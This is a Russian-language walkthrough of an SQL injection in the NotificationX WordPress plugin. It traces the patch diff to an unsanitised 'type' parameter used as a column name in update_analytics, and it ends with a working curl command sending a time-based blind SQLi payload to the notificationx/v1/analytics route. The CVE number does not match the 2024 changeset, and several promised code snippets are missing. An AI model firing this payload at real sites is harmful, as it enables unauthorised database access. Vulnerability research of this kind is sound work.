
Пошаговый технический анализ CVE-2019-1698, уязвимости SQL-инъекции в плагине WordPress, с обзором diff-кода, идентификацией уязвимой функции и демонстрацией эксплуатации с помощью curl.
Ссылка на код 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Ссылка на код 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Следовательно, следующий файл имеет отношение к этой CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Теперь проверим, возможно ли наличие уязвимого кода в файле:
Обратим внимание на функцию insert_analytics():
Она получает (от пользователя) и извлекает параметр .
$requesttypeЗатем это значение передаётся в функцию CoreAnalytics::get_instance()->insert_analytics():

Чтобы вызвать этот код, можно заметить сопоставленный маршрут (из класса Analytics, внутри функции register_routes()):
$this->namespace . '/' . $this->rest_base
А конструктор класса Analytics показывает значения переменных namespace и rest_base:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
Таким образом, соответствующий (уязвимый) код, принимающий переданный пользователем параметр type, доступен по следующему маршруту:
notificationx/v1/analytics
Но какой метод используется для эксплуатации и где находится SQL-запрос для инъекции?
Поскольку переданный пользователем параметр type передаётся в:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Найдём эту функцию:
Давайте проверим код этой функции в выделенном файле:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

Если вы думаете, что уязвимость находится в функции increment_count(), то вы абсолютно на правильном пути!
Вот функция increment_count (и она получает параметр $type от пользователя):

Эта функция, в свою очередь, вызывает функцию update_analytics(). Найдём её:


Функция update_analytics динамически создаёт SQL-запрос, и непроверенный пользовательский ввод является его частью. Пахнет подозрительно? Должно, потому что это и вызывает уязвимость.
Параметр $col соответствует параметру type, отправленному пользователем в HTTP-запросе.
$table_name задаётся как: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
Для определения правильного HTTP-глагола я использовал WordPress REST API:
http://localhost/wp-json/

Маршрут /notificationx/v1/analytics можно вызвать с помощью POST-запроса, и мы должны передать nx_id (целое число) и (необязательно) type (строку).
Помните, что информация об аналитике обновлялась в таблице с именем nx_stats, что мы ранее определили с помощью этих фрагментов кода из wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Наш план — увидеть сконструированный SQL-запрос, когда мы передадим нашу полезную нагрузку в запросе.
А теперь мы снова отправим наш запрос curl (с SQLi-полезной нагрузкой):
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
